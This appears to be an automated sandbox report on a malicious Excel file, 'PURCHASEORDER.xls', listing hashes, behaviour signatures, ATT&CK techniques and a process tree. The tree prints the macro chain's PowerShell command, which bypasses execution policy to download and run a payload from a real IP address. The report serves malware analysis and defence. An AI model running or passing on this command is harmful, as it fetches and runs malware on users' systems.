33497120ede69ba4d6c9c7bb4533ec7ece887acfa9ed2d617a215ff81126b46e

General

Target

PURCHASEORDER.xls
Size

1.5MB
MD5

7128d7e3632afbc109085c91fd0404c1
SHA1

4b16b615630468c252d3f642995a4d5d9c252e6b
SHA256

33497120ede69ba4d6c9c7bb4533ec7ece887acfa9ed2d617a215ff81126b46e
SHA512

5eccb89ed4479f7040ddf1582bbdb569c0f571337892e34fb0ff3151dee663f255e252f9886288b7ee31366df70d52f5a6c9f9163cda7db3fff1a2a4e275446a
SSDEEP

24576:X2Tbq8KPsUGRoG1t6EWOEMhpaMNzl8raUtGCn113y4RzuCr2izm/EcUAbFNLGeuX:mv5K/G3v6EWxNMNzlMRtGCn113y4RaCw

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

wscript.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	4424	1208	wscript.exe	EXCEL.EXE

Blocklisted process makes network request 2 IoCs

Processes:

wscript.exepowershell.exe

flow pid process

49 4424 wscript.exe
52 2996 powershell.exe
Downloads MZ/PE file

flow	pid	process
49	4424	wscript.exe
52	2996	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

wscript.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000\Control Panel\International\Geo\Nation	wscript.exe

Executes dropped EXE 1 IoCs

Processes:

d1.pif

pid process

1296 d1.pif
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

1580 1296 WerFault.exe d1.pif

pid	process
1296	d1.pif

pid	pid_target	process	target process
1580	1296	WerFault.exe	d1.pif

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

1208 EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 15 IoCs

Processes:

EXCEL.EXEpowershell.exed1.pif

pid	process
1208	EXCEL.EXE
2996	powershell.exe
2996	powershell.exe
1296	d1.pif
1296	d1.pif
1296	d1.pif
1296	d1.pif
1296	d1.pif
1296	d1.pif
1296	d1.pif
1296	d1.pif
1296	d1.pif
1296	d1.pif
1296	d1.pif
1296	d1.pif

Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

EXCEL.EXEpowershell.exed1.pif

description pid process

Token: SeDebugPrivilege 1208 EXCEL.EXE
Token: SeDebugPrivilege 2996 powershell.exe
Token: SeDebugPrivilege 1296 d1.pif
Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

EXCEL.EXE

pid process

1208 EXCEL.EXE
1208 EXCEL.EXE

description	pid	process
Token: SeDebugPrivilege	1208	EXCEL.EXE
Token: SeDebugPrivilege	2996	powershell.exe
Token: SeDebugPrivilege	1296	d1.pif

Suspicious use of SetWindowsHookEx 12 IoCs

Processes:

EXCEL.EXE

pid	process
1208	EXCEL.EXE
1208	EXCEL.EXE
1208	EXCEL.EXE
1208	EXCEL.EXE
1208	EXCEL.EXE
1208	EXCEL.EXE
1208	EXCEL.EXE
1208	EXCEL.EXE
1208	EXCEL.EXE
1208	EXCEL.EXE
1208	EXCEL.EXE
1208	EXCEL.EXE

Suspicious use of WriteProcessMemory 7 IoCs

Processes:

EXCEL.EXEwscript.exepowershell.exe

description	pid	process	target process
PID 1208 wrote to memory of 4424	1208	EXCEL.EXE	wscript.exe
PID 1208 wrote to memory of 4424	1208	EXCEL.EXE	wscript.exe
PID 4424 wrote to memory of 2996	4424	wscript.exe	powershell.exe
PID 4424 wrote to memory of 2996	4424	wscript.exe	powershell.exe
PID 2996 wrote to memory of 1296	2996	powershell.exe	d1.pif
PID 2996 wrote to memory of 1296	2996	powershell.exe	d1.pif
PID 2996 wrote to memory of 1296	2996	powershell.exe	d1.pif

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\PURCHASEORDER.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1208

C:\Windows\SYSTEM32\wscript.exe
wscript C:\Users\Public\textfile.wsf
2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4424

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "& { Invoke-WebRequest -Uri 'http://37.139.128.83/damian/d1.pif' -OutFile 'C:\Users\Public\d1.pif'; C:\Users\Public\d1.pif }"
3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2996

C:\Users\Public\d1.pif
"C:\Users\Public\d1.pif"
4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1296

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1296 -s 1640
5⤵
- Program crash
PID:1580

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 1296 -ip 1296
1⤵
PID:1876

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

3

T1012

System Information Discovery

4

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Office\16.0\PowerQuery\temp.User.zip
Filesize
768B

MD5
9ed95e7158b95d2c5b3895818f6e58d5

SHA1
dc0738c580c52e69d736446dfca65be6034ac560

SHA256
034fcdc52dcebd1b859575f61c6749fb2903753ac4ed79c5a52f3848aa9aa142

SHA512
9061dfbe5048ce8a5583a54a7aa3c879c3eaf9ffe1a786c619d7b48ce859b6551f2bdbf96bc40309323f0cecbd287026ecfd6a3f6b2ab1468275a13dff8e7f8f

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kluv21cd.m4c.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Public\d1.pif
Filesize
776KB

MD5
0858268f3b83634a182ae13cce53ad86

SHA1
1f83852f6dbdc3d5742e63d27b56ad1c5b591bd0

SHA256
02ee87012effdfa84c909b301c1c997f5ed0489c72f5cc3aa90acb9271ca9283

SHA512
816fbf91f2e1e5f9da468796471f6d6812ba68f197a787e7c65914e2ed4b15be0af21edf36cfcb82046853e95a5402ace03bb1cadcaf140f1e5a99db673f9666

Download Submit
C:\Users\Public\d1.pif
Filesize
776KB

MD5
0858268f3b83634a182ae13cce53ad86

SHA1
1f83852f6dbdc3d5742e63d27b56ad1c5b591bd0

SHA256
02ee87012effdfa84c909b301c1c997f5ed0489c72f5cc3aa90acb9271ca9283

SHA512
816fbf91f2e1e5f9da468796471f6d6812ba68f197a787e7c65914e2ed4b15be0af21edf36cfcb82046853e95a5402ace03bb1cadcaf140f1e5a99db673f9666

Download Submit
C:\Users\Public\textfile.wsf
Filesize
87B

MD5
135c416416e09629ff96af3280a09d0b

SHA1
5d34179a391761f4f367613d80655724fe7dcfd0

SHA256
b0c5540018eeac894b1bdd73fe4cee778c00ad10c18d42940ab4764ec9482954

SHA512
af13b7889ac42c9fd665900bcda4a21e08149d0baa95812532cfb3e1407c21b164c070b891fac8fe226ddba5b1084814a90542d810138cc5e4e29165c4c6731e

Download Submit
memory/1208-167-0x000001D647F20000-0x000001D647F7A000-memory.dmp

Filesize
360KB

Download
memory/1208-247-0x00007FFB95E70000-0x00007FFB95E80000-memory.dmp

Filesize
64KB

Download
memory/1208-136-0x00007FFB95E70000-0x00007FFB95E80000-memory.dmp

Filesize
64KB

Download
memory/1208-137-0x00007FFB95E70000-0x00007FFB95E80000-memory.dmp

Filesize
64KB

Download
memory/1208-138-0x00007FFB939F0000-0x00007FFB93A00000-memory.dmp

Filesize
64KB

Download
memory/1208-139-0x00007FFB939F0000-0x00007FFB93A00000-memory.dmp

Filesize
64KB

Download
memory/1208-143-0x000001D647D10000-0x000001D647EB2000-memory.dmp

Filesize
1.6MB

Download
memory/1208-144-0x000001D647D00000-0x000001D647D10000-memory.dmp

Filesize
64KB

Download
memory/1208-145-0x000001D64A920000-0x000001D64D380000-memory.dmp

Filesize
42.4MB

Download
memory/1208-146-0x000001D648160000-0x000001D6483F4000-memory.dmp

Filesize
2.6MB

Download
memory/1208-147-0x000001D647B10000-0x000001D647B6C000-memory.dmp

Filesize
368KB

Download
memory/1208-150-0x000001D648400000-0x000001D6485C2000-memory.dmp

Filesize
1.8MB

Download
memory/1208-151-0x000001D62F9A0000-0x000001D62F9C2000-memory.dmp

Filesize
136KB

Download
memory/1208-154-0x000001D649360000-0x000001D64A0F0000-memory.dmp

Filesize
13.6MB

Download
memory/1208-155-0x000001D62F980000-0x000001D62F990000-memory.dmp

Filesize
64KB

Download
memory/1208-156-0x000001D647BC0000-0x000001D647BCA000-memory.dmp

Filesize
40KB

Download
memory/1208-157-0x000001D647BD0000-0x000001D647BF2000-memory.dmp

Filesize
136KB

Download
memory/1208-158-0x000001D647D00000-0x000001D647D10000-memory.dmp

Filesize
64KB

Download
memory/1208-159-0x000001D6516A0000-0x000001D6559B6000-memory.dmp

Filesize
67.1MB

Download
memory/1208-163-0x000001D647C00000-0x000001D647C28000-memory.dmp

Filesize
160KB

Download
memory/1208-164-0x000001D647C30000-0x000001D647C80000-memory.dmp

Filesize
320KB

Download
memory/1208-165-0x000001D647B80000-0x000001D647B90000-memory.dmp

Filesize
64KB

Download
memory/1208-166-0x000001D647C80000-0x000001D647C98000-memory.dmp

Filesize
96KB

Download
memory/1208-134-0x00007FFB95E70000-0x00007FFB95E80000-memory.dmp

Filesize
64KB

Download
memory/1208-170-0x000001D647D00000-0x000001D647D10000-memory.dmp

Filesize
64KB

Download
memory/1208-169-0x000001D647D00000-0x000001D647D10000-memory.dmp

Filesize
64KB

Download
memory/1208-168-0x000001D647D00000-0x000001D647D10000-memory.dmp

Filesize
64KB

Download
memory/1208-172-0x000001D647D00000-0x000001D647D10000-memory.dmp

Filesize
64KB

Download
memory/1208-135-0x00007FFB95E70000-0x00007FFB95E80000-memory.dmp

Filesize
64KB

Download
memory/1208-185-0x000001D62E1D0000-0x000001D62E3D0000-memory.dmp

Filesize
2.0MB

Download
memory/1208-200-0x000001D647D00000-0x000001D647D10000-memory.dmp

Filesize
64KB

Download
memory/1208-249-0x00007FFB95E70000-0x00007FFB95E80000-memory.dmp

Filesize
64KB

Download
memory/1208-248-0x00007FFB95E70000-0x00007FFB95E80000-memory.dmp

Filesize
64KB

Download
memory/1208-173-0x000001D647D00000-0x000001D647D10000-memory.dmp

Filesize
64KB

Download
memory/1208-246-0x00007FFB95E70000-0x00007FFB95E80000-memory.dmp

Filesize
64KB

Download
memory/1208-133-0x00007FFB95E70000-0x00007FFB95E80000-memory.dmp

Filesize
64KB

Download
memory/1208-216-0x000001D647D00000-0x000001D647D10000-memory.dmp

Filesize
64KB

Download
memory/1208-215-0x000001D647D00000-0x000001D647D10000-memory.dmp

Filesize
64KB

Download
memory/1208-217-0x000001D647D00000-0x000001D647D10000-memory.dmp

Filesize
64KB

Download
memory/1208-218-0x000001D647D00000-0x000001D647D10000-memory.dmp

Filesize
64KB

Download
memory/1208-219-0x000001D62E1D0000-0x000001D62E3D0000-memory.dmp

Filesize
2.0MB

Download
memory/1208-227-0x000001D62B9A0000-0x000001D62BA9C000-memory.dmp

Filesize
1008KB

Download
memory/1208-226-0x000001D64D8B0000-0x000001D64DDD8000-memory.dmp

Filesize
5.2MB

Download
memory/1296-224-0x0000000008500000-0x000000000859C000-memory.dmp

Filesize
624KB

Download
memory/1296-222-0x00000000054C0000-0x00000000054D0000-memory.dmp

Filesize
64KB

Download
memory/1296-214-0x00000000054C0000-0x00000000054D0000-memory.dmp

Filesize
64KB

Download
memory/1296-213-0x00000000052F0000-0x00000000052FA000-memory.dmp

Filesize
40KB

Download
memory/1296-212-0x0000000005320000-0x00000000053B2000-memory.dmp

Filesize
584KB

Download
memory/1296-211-0x0000000005830000-0x0000000005DD4000-memory.dmp

Filesize
5.6MB

Download
memory/1296-210-0x0000000000860000-0x0000000000928000-memory.dmp

Filesize
800KB

Download
memory/2996-190-0x0000017472AA0000-0x0000017472AC2000-memory.dmp

Filesize
136KB

Download
memory/2996-201-0x0000017472460000-0x0000017472470000-memory.dmp

Filesize
64KB

Download
memory/2996-202-0x0000017472460000-0x0000017472470000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads